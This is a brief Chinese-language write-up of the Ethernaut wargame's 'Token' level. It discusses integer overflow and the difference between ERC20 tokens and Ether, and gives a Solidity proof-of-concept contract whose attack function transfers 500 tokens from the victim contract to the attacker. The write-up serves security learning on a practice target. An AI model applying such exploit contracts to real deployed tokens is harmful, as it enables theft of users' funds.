Ethernaut 05 Token_付费题库token

题意理解：一开始觉得题目考察的是整型溢出漏洞(虽然该漏洞在该合约中确实存在)，但后来发现并非如此，个人觉得本题更倾向于考察对ERC20代币和以太坊主币的区分

以下是本题的POC合约：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
interface Token {
    function transfer(address _to, uint _value) external returns (bool);
    function balanceOf(address _owner) external view returns (uint balance);
 
 
}
 
 
contract POC {
    address public owner;
    address public victim;
 
    constructor(){
        owner = msg.sender;
    }
 
    function setVictim(address victim_) public {
        victim =victim_;
    }
 
 
    function attack () public {
        Token token = Token(victim);
        token.transfer(owner , 500);
    }
}